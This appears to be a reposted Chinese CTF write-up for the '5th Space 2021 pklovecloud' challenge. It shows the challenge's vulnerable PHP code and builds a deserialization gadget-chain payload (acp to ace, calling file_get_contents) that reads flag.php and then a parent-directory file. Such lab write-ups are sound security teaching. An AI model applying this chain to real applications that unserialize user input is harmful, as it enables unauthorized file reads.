[第五空间 2021]pklovecloud 解题思路&过程

这篇具有很好参考价值的文章主要介绍了[第五空间 2021]pklovecloud 解题思路&过程。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

过程

打开题目,一道关于php反序列化的的代码审计问题。源码如下:

 <?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?> 

可以看到,通过ace->echo_name()函数,可以调用到file_get_contents来读文件;acp->__toString()魔术方法中有通过其cinder属性对echo_name()的调用,且__construct()会创建cinder为一个对象;
于是初步构造payload:

<?php

class ace{
    public $filename;
    public $openstack;
    public $docker;
}

class acp
{
    protected $cinder;
    public $neutron;
    public $nova;

    function __construct()
    {
        $this->cinder = new ace;
    }
}

$a =  new acp();
echo urlencode(serialize($a));

还不够,目前只是构造了一个acp的对象$a,$a序列化为字符串,又传给了服务端进行反序列化为$logData,反序列化过程中,使其cinder属性为一个ace对象,之后对$logData的echo又触发了_toString,从而调用$logData->$cinder->echo_name(),下面是echo_name()

function echo_name()
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }

将this的docker属性反序列化赋值给this的openstack,此时的this指的是$logData->$cinder,之后又要令openstack的nova属性(这是我们可控的)与neutron属性(这是$heat,我们所不知的)使这二者相等(===)才能bypass比较进而任意读文件。这里不知道$heat,猜$heat肯定是行不通的,也不是解法。

其实通过上面payload1,就能够得到“keystone lost~”,也就是说这里的判断已经bypass了,进入到了判断file_get_contents是否成功的环节。上面分析我们知道,echo_name()里的this就是cinder,cinder是通过构造函数创建的,docker这些属性都是空的,反序列化自然也是NULL,后续的判断自然绕过了。于是在payload1的基础上添加filename即可。

<?php

class ace{
    public $filename;
    public $openstack;
    public $docker;
}

class acp
{
    protected $cinder;
    public $neutron;
    public $nova;

    function __construct()
    {
        $this->cinder = new ace;
        $this->cinder->filename = "flag.php";
    }
}

$a =  new acp();
echo urlencode(serialize($a));

拿到flag的提示,/nssctfasdasdflag,但是在上一级,即…/nssctfasdasdflag;修改即可。

acquisition

  1. php反序列化链的构造

reference

https://www.yuque.com/yuxiazhengye-gttya/klsv75/nahbfkacs464nua3
https://www.nssctf.cn/note/set/2527文章来源地址https://www.toymoban.com/news/detail-629707.html

到了这里,关于[第五空间 2021]pklovecloud 解题思路&过程的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 路由表的更新算法(解题思路)

    某时刻路由器R6的路由表如下表: 第一步:将更新信息的距离+1,把下一路由改为发来更新信息的路由 R4更新表: (黄字为解释) 目的网络 距离 下一跳路由器 net1 3 =2+1 R4 R1在R4的下一跳 net2 5 =4+1 R4 R2在R4的下一跳 net3 4 =3+1 R4 R9在R4的下一跳 第二步:与原表对比 R6的原表: 目

    2024年02月11日
    浏览(72)
  • leetcode 122双周赛 解题思路+代码

    本人水平有限,只做出3道,最后1道放弃。 给你一个长度为 n 的整数数组 nums 。 一个数组的 代价 是它的 第一个 元素。比方说,[1,2,3] 的代价是 1 ,[3,4,1] 的代价是 3 。 你需要将 nums 分成 3 个 连续且没有交集 的子数组。 请你返回这些子数组的 最小 代价 总和 。 示例 1: 输

    2024年02月20日
    浏览(35)
  • ood解题思路----实物类面向对象

    下面以vending machine为例 Clarify What 输入输出是什么? 大小是否有限制? 无 What items does this vending machine sell? coke、sprite、mountain dew What to do when an item sold out? What are the supposed payment methods? 可以使用strategy design Pattern,不同的付款方式调用不同的接口。此处假设只接受硬币 How ho

    2024年02月11日
    浏览(36)
  • 【算法 | 背包专题】分组背包(解题思路+题单)

    上一节,我们提到了什么是01背包,以及如何求解01背包: 【算法 | 背包专题】01背包(状态定义+状态转移+解题流程+题单) 现在,我们来看分组背包。 分组背包问题是背包问题的一种变形。在这个问题中, 物品被分成了若干组 ,每组中的物品相互冲突,也就是说, 每组只

    2024年04月11日
    浏览(26)
  • BUUCTF [MRCTF2020]Ezpop解题思路

    php魔术方法: __call() : 在对象中调用一个不可访问方法时, __call() 会被调用 __toString : 将对象当作一个字符串输出的时候 __wakeup : 反序列化时被调用 __invoke : 当一个对象被作为函数调用时被调用 __get : 当对象访问一个不存在的属性时调用 __construct :创建对象时调用 序列化只

    2024年02月12日
    浏览(25)
  • 【攻防世界-Web】unserialize3解题思路

    本题需要利用反序列化字符串来进行解题,根据源码提示我们需要构造code。 而__wakeup()在PHP中被称为魔术方法,在进行反序列化时,unserialize()会检查是否存在__wakeup(),若存在,该__wakeup()魔术方法会被先一步调用。对于本题,如果我们直接进行序列化,则会执行__wakeup()从而导

    2024年02月08日
    浏览(31)
  • PTA数组及排序查找题解与解题思路

    函数题目为平台提供的裁判程序调用所完成的函数进行判题,题目规定语言为C语言 本题较为简单,考察的是如何遍历一个二维数组,只需要两个循环依次遍历其每个维度和元素即可 如何寻找最大值? 只需要在遍历每个元素的过程中,使用一个变量记录最大值,当出现更大的

    2024年02月08日
    浏览(37)
  • CTF-[Web] MD5解题思路

    写在前面:最近练习了一些CTF中关于md5绕过的题目,总结了几种思路,本质没有太大变化,就是各种组合绕过,也是比较考察基础的,前段时间太摆烂了,好久没有更新了,革命尚未成功,同志仍需努力!!!   md5是一种信息摘要算法(目标是用于证明原文的 完整性 ),其

    2024年02月13日
    浏览(32)
  • zip文件格式及伪加密解题思路

    目录 zip文件格式 压缩源文件数据区 压缩源文件目录区 压缩源文件目录结束标志 判断加密方式 无加密 真加密 伪加密 伪加密解题思路 方法一 方法二 方法三 方法四 一个ZIP文件由三大部分组成: 压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志   数据区主要记

    2024年02月16日
    浏览(23)
  • [区块链安全-Ethernaut]附加GoodSamaritan解题思路

    说来也巧,Ethernaut上一篇刚完结,突然点开看到又更新了GoodSamaritan,我干脆单独列出来把。 总共有三个合约互相作用,分别为 GoodSamaritan (慈善家,对外暴露捐款接口)、 Coin (慈善家通过钱包创建的代币合约)以及 Wallet (由慈善家所有)。本关卡的目的是获取到钱包里所

    2024年01月19日
    浏览(27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包